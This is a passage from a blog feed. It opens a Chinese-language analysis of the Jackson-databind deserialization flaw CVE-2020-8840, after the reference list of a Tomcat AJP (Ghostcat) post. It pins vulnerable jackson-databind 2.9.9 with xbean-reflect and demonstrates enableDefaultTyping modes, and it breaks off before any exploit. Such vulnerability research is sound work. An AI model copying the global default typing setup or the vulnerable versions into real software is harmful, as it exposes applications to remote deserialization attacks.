href="https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html" target="_blank" rel="noopener">https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html</a><br><a href="https://www.anquanke.com/post/id/199448" target="_blank" rel="noopener">https://www.anquanke.com/post/id/199448</a><br><a href="https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bug" target="_blank" rel="noopener">https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bug</a><br><a href="https://my.oschina.net/czg/blog/142616" target="_blank" rel="noopener">https://my.oschina.net/czg/blog/142616</a><br><a href="https://www.linuxprobe.com/tomcat-http-ajp.html" target="_blank" rel="noopener">https://www.linuxprobe.com/tomcat-http-ajp.html</a><br><a href="https://zhzhdoai.github.io/2020/02/26/Tomcat-Ajp%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8-CVE-2020-1938/" target="_blank" rel="noopener">https://zhzhdoai.github.io/2020/02/26/Tomcat-Ajp%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8-CVE-2020-1938/</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-25 19:16:24</p>
</blockquote>
<p><img src="/wallpaper/girl_umbrella11.jpg" alt></p>
<h2 i
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="Ghost_cat" scheme="http://patrilic.top/tags/Ghost-cat/"/>
</entry>
<entry>
<title>Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)</title>
<link href="http://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/"/>
<id>http://patrilic.top/2020/03/24/Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)/</id>
<published>2020-03-24T12:13:43.000Z</published>
<updated>2020-03-24T12:26:03.229Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-24 20:13:43</p></blockquote><p><img src="/wallpaper/silhouette2.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>Jackson是一款当下流行的json解释器,主要负责处理Json的序列化和反序列化。<br>jackson核心模块由三部分构成:</p><ul><li>jackson-core - 核心包,提供基于流模式API</li><li>jackson-annotations - 注解包,提供标准注解功能</li><li>jackson-databind - 数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API</li></ul><p>这里我们先Build一个2.9.9版本的jackson-databind, 因为jackson-databind依赖于core和annotations,所以这两个包也会自动下载。</p><h2 id="0x01-Build"><a href="#0x01-Build" class="headerlink" title="0x01 Build"></a>0x01 Build</h2><p>JDK Version : 7u80</p><p>pom.xml:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">"http://maven.apache.org/POM/4.0.0"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">modelVersion</span>></span>4.0.0<span class="tag"></<span class="name">modelVersion</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>com.fasterxml.jackson.core<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>jackson-databind<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>1.0-SNAPSHOT<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>com.fasterxml.jackson.core<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>jackson-databind<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.9.9<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.xbean<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>xbean-reflect<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>4.16<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"></<span class="name">project</span>></span></span><br></pre></td></tr></table></figure></p><p><img src="/Jackson-databind 反序列化漏洞分析/A206E45D-7C6D-4D35-B265-88F6D707755B.png" alt="d3ceeb3eacfb24ce43320ac07025f620"></p><h2 id="0x02-Jackson的基本用法"><a href="#0x02-Jackson的基本用法" class="headerlink" title="0x02 Jackson的基本用法"></a>0x02 Jackson的基本用法</h2><p>Jackson的主要职责就是序列化和反序列化</p><h3 id="序列化"><a href="#序列化" class="headerlink" title="序列化"></a>序列化</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">serialize</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> Student a = <span class="keyword">new</span> Student();</span><br><span class="line"> a.setName(<span class="string">"Patrilic"</span>);</span><br><span class="line"> a.setAge(<span class="number">20</span>);</span><br><span class="line"> a.setSex(<span class="string">"male"</span>);</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> String json = mapper.writeValueAsString(a);</span><br><span class="line"> System.out.println(<span class="string">"序列化前: "</span> + a);</span><br><span class="line"> System.out.println(<span class="string">"序列化后: "</span> + json);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Jackson-databind 反序列化漏洞分析/83258352-CB63-48A5-BF0D-3293C40DD0A9.png" alt="25c2c6ea07cc16608acb2eafaef321c7"></p><h3 id="反序列化"><a href="#反序列化" class="headerlink" title="反序列化"></a>反序列化</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">unserialize</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> String json = <span class="string">"{\"name\":\"Patrilic\",\"age\":20,\"sex\":\"male\"}"</span>;</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> System.out.println(<span class="string">"反序列化后: "</span> + mapper.readValue(json, Student.class));</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Jackson-databind 反序列化漏洞分析/CAD049CC-AE43-4963-9A2B-DEFBDA1418F9.png" alt="44c694c184b5e18a293d96d40f00e9d2"></p><h2 id="0x03-PolymorphicDeserialization"><a href="#0x03-PolymorphicDeserialization" class="headerlink" title="0x03 PolymorphicDeserialization"></a>0x03 PolymorphicDeserialization</h2><p><a href="https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization" target="_blank" rel="noopener">https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization</a></p><p>在Jaskson的Wiki中可以看到,Jaskson有一种特殊的机制,叫做<code>JacksonPolymorphicDeserialization</code><br>(Jackson的多态反序列化?)</p><p>在wiki中分为两类:</p><ul><li>Global default typing</li><li>Per-class annotations</li></ul><h3 id="DefaultTyping"><a href="#DefaultTyping" class="headerlink" title="DefaultTyping"></a>DefaultTyping</h3><p>我们唯一可以配置的值就是选择哪些类可以被影响</p><p>在<code>com/fasterxml/jackson/databind/ObjectMapper.class:1824行</code>配置了四个选项<br><img src="/Jackson-databind 反序列化漏洞分析/80AF79FF-5F57-4D74-88B7-BA7E41F495BA.png" alt="d97869cc25fa24f4eb7700a79d134b5e"></p><ul><li><p>JAVA_LANG_OBJECT:仅影响Object.class类型的属性</p></li><li><p>OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口)</p></li><li><p>NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有数组类型都相同(直接元素是非具体类型或Object.class)</p></li><li><p>NON_FINAL:影响所有未声明为 “final”的类型,以及非final元素类型的数组类型。</p></li></ul><p>接下来细细来试试这几个配置的具体细节</p><h4 id="JAVA-LANG-OBJECT"><a href="#JAVA-LANG-OBJECT" class="headerlink" title="JAVA_LANG_OBJECT"></a>JAVA_LANG_OBJECT</h4><p>当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JavaLangObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> People Q = <span class="keyword">new</span> People();</span><br><span class="line"> Q.age = <span class="number">20</span>;</span><br><span class="line"> Q.name = <span class="string">"com.patrilic.jackson.patrilic"</span>;</span><br><span class="line"> Q.object = <span class="keyword">new</span> patrilic();</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);</span><br><span class="line"> <span class="comment">// 序列化</span></span><br><span class="line"> String json = mapper.writeValueAsString(Q);</span><br><span class="line"> System.out.print(json); <span class="comment">// {"age":20,"name":"com.patrilic.jackson.patrilic","object":["com.patrilic.jackson.patrilic",{"length":100}]}</span></span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="comment">// 反序列化</span></span><br><span class="line"> People Q2 = mapper.readValue(json, People.class);</span><br><span class="line"> System.out.println(Q2); <span class="comment">// age = 20, name = com.patrilic.jackson.patrilic, object = com.patrilic.jackson.patrilic@75215398</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">People</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> Object object;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> String.format(<span class="string">"age = %d, name = %s, object = %s"</span>, age, name, object == <span class="keyword">null</span> ? <span class="string">"null"</span> : object);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">patrilic</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> length = <span class="number">100</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Jackson-databind 反序列化漏洞分析/234ECA79-4B9F-4B60-9AF6-8C9934812152.png" alt="791124ea4f2d09f6f73bd2fcdd5bc8e8"></p><p>类也会同时进行序列化和反序列化</p><h4 id="OBJECT-AND-NON-CONCRETE"><a href="#OBJECT-AND-NON-CONCRETE" class="headerlink" title="OBJECT_AND_NON_CONCRETE"></a>OBJECT_AND_NON_CONCRETE</h4><p>除了普通的Object, 当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JavaLangObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> People Q = <span class="keyword">new</span> People();</span><br><span class="line"> Q.age = <span class="number">20</span>;</span><br><span class="line"> Q.name = <span class="string">"com.patrilic.jackson.patrilic"</span>;</span><br><span class="line"> Q.object = <span class="keyword">new</span> patrilic();</span><br><span class="line"> Q.sex = <span class="keyword">new</span> MySex();</span><br><span class="line"> Q.sex.setSex(<span class="string">"male"</span>);</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);</span><br><span class="line"> <span class="comment">// 序列化</span></span><br><span class="line"> String json = mapper.writeValueAsString(Q);</span><br><span class="line"> System.out.print(json);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="comment">// 反序列化</span></span><br><span class="line"> People Q2 = mapper.readValue(json, People.class);</span><br><span class="line"> System.out.println(Q2);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">People</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> Object object;</span><br><span class="line"> <span class="keyword">public</span> Sex sex;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> String.format(<span class="string">"age = %d, name = %s, object = %s, sex = %s"</span>, age, name, object == <span class="keyword">null</span> ? <span class="string">"null"</span> : object, sex);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">patrilic</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> length = <span class="number">100</span>;</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MySex</span> <span class="keyword">implements</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> String sex;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getSex</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> sex;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(String sex)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.sex = sex;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">interface</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(String sex)</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getSex</span><span class="params">()</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Jackson-databind 反序列化漏洞分析/96681004-E6B2-4A54-BAD6-4ED5C61CC40A.png" alt="aafd7ffbd71332a8bf0873da529ec6a1"></p><p>如果我们这里不设置<code>OBJECT_AND_NON_CONCRETE</code>,那么将会不能进行反序列化<br><img src="/Jackson-databind 反序列化漏洞分析/5F29E711-E153-41A3-86E7-E7E12533E1DD.png" alt="e13a47ca858995f890c54a3e71d47efe"></p><p>默认无参<code>enableDefaultTyping()</code>即为OBJECT_AND_NON_CONCRETE选项</p><h4 id="NON-CONCRETE-AND-ARRAYS"><a href="#NON-CONCRETE-AND-ARRAYS" class="headerlink" title="NON_CONCRETE_AND_ARRAYS"></a>NON_CONCRETE_AND_ARRAYS</h4><p>意思很明显,在OBJECT_AND_NON_CONCRETE选项之上,再加一个<code>Arrays</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JavaLangObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> People Q = <span class="keyword">new</span> People();</span><br><span class="line"> Q.age = <span class="number">20</span>;</span><br><span class="line"> Q.name = <span class="string">"com.patrilic.jackson.patrilic"</span>;</span><br><span class="line"> patrilic[] patrilic = <span class="keyword">new</span> patrilic[<span class="number">2</span>];</span><br><span class="line"> patrilic[<span class="number">0</span>] = <span class="keyword">new</span> patrilic();</span><br><span class="line"> patrilic[<span class="number">0</span>].length = <span class="number">1</span>;</span><br><span class="line"> patrilic[<span class="number">1</span>] = <span class="keyword">new</span> patrilic();</span><br><span class="line"> Q.object = patrilic;</span><br><span class="line"> Q.sex = <span class="keyword">new</span> MySex();</span><br><span class="line"> Q.sex.setSex(<span class="string">"male"</span>);</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);</span><br><span class="line"> <span class="comment">// 序列化</span></span><br><span class="line"> String json = mapper.writeValueAsString(Q);</span><br><span class="line"> System.out.print(json);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="comment">// 反序列化</span></span><br><span class="line"> People Q2 = mapper.readValue(json, People.class);</span><br><span class="line"> System.out.println(Q2);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">People</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> Object object;</span><br><span class="line"> <span class="keyword">public</span> Sex sex;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> String.format(<span class="string">"age = %d, name = %s, object = %s, sex = %s"</span>, age, name, object == <span class="keyword">null</span> ? <span class="string">"null"</span> : object, sex);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">patrilic</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> length = <span class="number">100</span>;</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MySex</span> <span class="keyword">implements</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> String sex;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getSex</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> sex;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(String sex)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.sex = sex;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">interface</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(String sex)</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getSex</span><span class="params">()</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>这里我们将第一个patrilic的length值设为1以作区分<br><img src="/Jackson-databind 反序列化漏洞分析/D24B3A95-908D-43FB-B829-095B21304232.png" alt="430f26e2c31cab02f746bd45aba72000"></p><h4 id="NON-FINAL"><a href="#NON-FINAL" class="headerlink" title="NON_FINAL"></a>NON_FINAL</h4><p>顾名思义,除了Final属性之外的所有类都可以被反序列化</p><p>这里就不做测试了</p><h3 id="Per-class-annotations"><a href="#Per-class-annotations" class="headerlink" title="Per-class annotations"></a>Per-class annotations</h3><p>接下来我们来看看<code>Per-class annotations</code>,简单来说,就是利用注解<code>@JsonTypeInfo</code>去标识,然后控制它的<br><img src="/Jackson-databind 反序列化漏洞分析/885F5F2A-FC7A-418B-B3A4-5179698B2A10.png" alt="08d62db09097323456e38816f46c3738"></p><p><code>@JsonTypeInfo</code>一共支持五种注解:</p><table><thead><tr><th>JsonTypeInfo</th><th>结构</th><th>反序列化</th></tr></thead><tbody><tr><td>@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)</td><td>{“name”:”JsonTypeInfo”,”age”:100,”obj”:{“h”:100}}</td><td>yes</td></tr><tr><td>@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)</td><td>{“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@class”:”com.patrilic.jackson.Height”,”h”:100}}</td><td>yes</td></tr><tr><td>@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)</td><td>{“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@c”:”com.patrilic.jackson.Height”,”h”:100}}</td><td>yes</td></tr><tr><td>@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)</td><td>{“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@type”:”Height”,”h”:100}}</td><td>no</td></tr><tr><td>@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)</td><td>需要自定义解析器</td></tr></tbody></table><p>通过具体代码测试:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 